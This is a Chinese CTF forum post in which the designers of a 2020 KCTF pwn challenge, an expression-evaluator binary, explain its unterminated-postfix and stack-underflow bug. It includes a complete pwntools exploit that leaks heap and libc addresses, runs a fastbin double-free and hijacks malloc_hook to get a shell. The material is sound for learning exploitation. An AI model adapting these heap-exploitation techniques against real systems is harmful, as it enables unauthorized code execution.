-
-
[原创]2020KCTF秋季赛PWN题目
-
2020-10-13 22:47 2598
-
0x0 基本信息
- 参赛团队:T.O.
- 题目类型:64位linux pwn
- 简要说明:正常难度的常规pwn,知识点为表达式求值和堆利用
0x1 背景知识
- 表达式:由数字、运算符、标识符等组成的可求值的语法单元。像下面这些都是表达式。123
1
+
2
+
3
a
+
b
*
c
1
+
(
2
*
(
4
+
7
)))
- 中缀表达式与后缀表达式:二者是表达式的不同表现形式。中缀是给人看的,后缀更方便计算机处理,下面是上面的后缀形式。
1 2 3 | 1 2 + 3 + a b c * + 1 2 4 7 + * + |
- 后缀表达式的求值:从左到右扫描一遍,遇到数字压栈,遇到运算符取栈顶两个数字运算后压栈,扫描完成后桟底的数字是表达式的结果。
0x2 设计说明
- 经典菜单题,提供了4个基本功能:
Create:输入中缀表达式验证通过后求值,同时与转换的后缀表达式一同存储
Delete:删除表达式
Reevaluate:重新对符号的后缀表达式求值
Show:打印出该表达式的值,默认禁用
1 2 3 4 5 6 7 8 | * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 2020 KCTF | Expression Evaluator * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 1.Create Symbol 2.Delete Symbol 3.Reevaluate Symbol 4.Show 5.Exit |
- 漏洞点位于create中。存储后缀表达式时并未在末尾补上"\x00",而后缀表达式求值时是用strlen来确定长度,也没检测桟底溢出。
- 关键数据的内存结构:
1、g_broken:表示屏幕是否损坏,损坏则不能使用show功能,初始化为1(损坏)。
2、g_symbols_ptrs:存储符号的指针数组
3、g_val_stack:后缀表达式求值时使用的栈结构
4、unused:本来是打算用作堆指针数组的校验和,校验和不通过不能使用show功能,降低难度已弃用123456typedef struct {
uint64_t g_broken;
uint64_t unused;
void
*
g_symbol_ptrs[
21
];
uint64_t g_val_stack[
50
];
} G_CTX;
- 选手需要利用后缀表达式未正确截断的漏洞,构造相应的中缀表达式,通过g_val_stack产生桟底溢出,修改到低地址的g_broken和g_symbol_ptrs,进而getshell。
0x3 解题思路
漏洞容易发现,利用过程比较繁琐,下面说几个关键点:
Q1 : 如何构造表达式修改g_broken变量?
A : 在一个平衡的后缀表达式后,每多加一个运算符,可以从桟底多取出一个数据。g_broken + unused + g_symbol_ptrs[21],共23个。若用小堆块来存储,预先布置的运算符会被堆头数据覆盖。考虑unsorted bin的分割。若残留的大小大于等于0x18,这这个残留的堆块上的数据会被覆盖,小于0x18的话就不会。所以最多可以布置7+16=23个运算符。同时分配0x100大小的chunk,利用高地址处的chunk的prev_size的\x00来做截断。
所以结论是:malloc一个0x100的chunk,平衡表达式的值构造为0,并且再其之后布置23个乘号。reevaluate一下,即可把所有数据清零。
Q2 : 如何leak堆地址?
A : 这个问题比较简单。在平衡表达式的后边多布置一个运算符,即可让堆指针数据参与运算,再把它show出来即可。
Q3 : 如何leak libc?
A : 利用unsorted bin的fd上有libc地址,再布置运算符,对最后一个堆块做运算,使其的value域恰好对应着该unsorted bin的fd。再show出来即可。同时注意到是以symbol_name来作为搜索的key的,所以要提前在这个unsorted bin的低地址chunk上布置上相关数据,让这些数据来作为搜索的key。
Q4 : 如何getshell?
A : 使用fastbin attack,构造0x70的chunk A,B,C。修改C为A。然后free(A),free(B),free(A)。需要注意的是如果直接free(A)并且堆上不存在0x70的fastbin的话。chunk A的fd会被清零,也就不能被索引到,也就不能再free(A)了。解决办法是先free掉一个0x70的chunk D,那么再free(A)后,A的fd(symbol_name域)变成了chunk D的地址,所以p64(&chunk_D)可以再次的free(A)了。会发现如果(&chunk_d)&0xff==0x00的话还是会失败,这种情况下重新选取一个chunk即可。
再往后是常规思路fastbin attack到malloc_hook上拿shell了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 | from pwn import * import pdb # p = remote('0.0.0.0',9997) p = process( './ee' ) def create(name,infix): p.sendafter( 'Your choice : ' , '1' ) p.sendafter( 'name : ' ,name) p.sendafter( 'Expression : ' ,infix) def free(name): p.sendafter( 'Your choice : ' , '2' ) p.sendafter( 'name : ' ,name) def reevaluate(name): p.sendafter( 'Your choice : ' , '3' ) p.sendafter( 'name : ' ,name) def show(name): p.sendafter( 'Your choice : ' , '4' ) p.sendafter( 'name : ' ,name) p.recvuntil( 'value : ' ) data = int (p.recvuntil( '\n' )[: - 1 ]) return data # construct a balanced infix expression,which postifx form # has length exactly equals to N(including the symbol_name # and value field) and ends with operator op. def infix_op(N,op): N - = 19 + 8 assert (N> = 5 ) if (N> = 5 and N< = 51 ): kN = 3 n_list = [ 1 for _ in range (kN)] kpoints = N - (kN - 1 ) - (kN + kN - 2 ) - kN x = kpoints / / 14 y = kpoints % 14 for i in range (x): n_list[i] + = 14 n_list[ - 1 ] + = y assert ( sum (n_list) + kN - 1 + kN + kN - 2 = = N) return op.join([ '0' * x for x in n_list]) else : assert (N< = 231 ) kN = 13 n_list = [ 1 for _ in range (kN)] kpoints = N - (kN - 1 ) - (kN + kN - 2 ) - kN x = kpoints / / 14 y = kpoints % 14 for i in range (x): n_list[i] + = 14 n_list[ - 1 ] + = y assert ( sum (n_list) + kN - 1 + kN + kN - 2 = = N) return op.join([ '0' * n for n in n_list]) # construct a balanced infix expression,which postifx form # has exactly length N(including the symbol_name # and value field) and valued target. def infix_small_number(N,target): N - = 19 + 8 assert target < = 0x7fffffffffff res = str (target) assert len (res) < = N if N< = 16 : res = '0' * (N - len (res)) + res else : assert N - len (res) > = 5 + 3 res = infix_op(N - len (res) - 3 + 27 , '+' ) + '+' + res return res create( 'a' ,infix_op( 0xf0 , '*' )) # avoid merge create( 'b' , '1' ) free( 'a' ) # set '*' operators for i in range ( 0xf0 , 0xd9 , - 1 ): create( 'a' ,infix_op(i, '*' )) free( 'a' ) # set value 0 create( 'a' ,infix_small_number( 0xd9 , 0 )) # clear all data,fixing the screen reevaluate( 'a' ) # steps to calculate the heap addrs. # In the meanwhile,adjust the last chunk to leak libc. create( '1' ,infix_op( 0xf0 , '-' )) free( '1' ) create( '1' ,infix_small_number( 0xef , 0xa0 + 19 )) for i in range ( 2 , 22 ): if i = = 19 : # set the fake chunk's symbol_name field so it can be indexed create( '19' ,infix_op( 0xf0 , '+' )) free( '19' ) create( '19' ,infix_op( 0xef , '+' )) free( '19' ) create( '19' ,infix_op( 0xee , '+' )) else : create( str (i),infix_small_number( 0x90 , 0 )) # get heap addr reevaluate( '1' ) heap_base = show( '1' ) - 0xe20 + 0xa0 + 19 - 0x60 print ( '[*]heap_base : ' + hex (heap_base)) # get libc addr free( '20' ) libc_base = show( '+++' ) + 0x7F7AA27D8000 - 0x7f7aa2b9cb78 print ( '[*]libc_base : ' + hex (libc_base)) # reset the '20' and '21' chunk create( '20' ,infix_small_number( 0x90 , 0 )) free( '1' ) create( '1' ,infix_op( 0xf0 , '+' )) free( '1' ) create( '1' ,infix_small_number( 0xef , 0xa0 + 19 )) reevaluate( '1' ) # get four free ptr space free( '21' ) free( '20' ) free( '19' ) free( '18' ) # here comes the fastbin attack create( '18' ,infix_small_number( 0x60 , 0xaa )) create( '19' ,infix_small_number( 0x60 , 0xbb )) create( '20' ,infix_small_number( 0x60 , 0xcc )) create( '21' ,infix_small_number( 0x60 , 0xdd )) # let '21' and '20' point to the same addr free( '1' ) create( '1' ,infix_op( 0xf0 , '-' )) free( '1' ) create( '1' ,infix_small_number( 0xef , 0x70 )) reevaluate( '1' ) p18 = heap_base + 0xc30 free( '18' ) free( '20' ) free( '19' ) # index by p64(p18) free(p64(p18)) # // 283258 # // 983908 # // 987655 one = libc_base + 0x4526a malloc_hook = libc_base + 0x3C4B10 create(p64(malloc_hook - 35 ),infix_small_number( 0x60 , 0 )) create( '19' ,infix_small_number( 0x60 , 0 )) create( '20' ,infix_small_number( 0x60 , 0 )) create( '21' ,infix_small_number( 0x60 ,one)) # trigger one gadget free( '19' ) create( '19' ,infix_small_number( 0x100 , 0 )) p.interactive() |
0x4 部署
采用https://github.com/Eadom/ctf_xinetd的方案
1 2 3 4 5 6 | # 设置好deploy/bin/flag cd deploy # build image docker build - t "ee" . # run in background docker run - d - p "0.0.0.0:pub_port:9999" - h "ee" - - name = "ee" ee |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界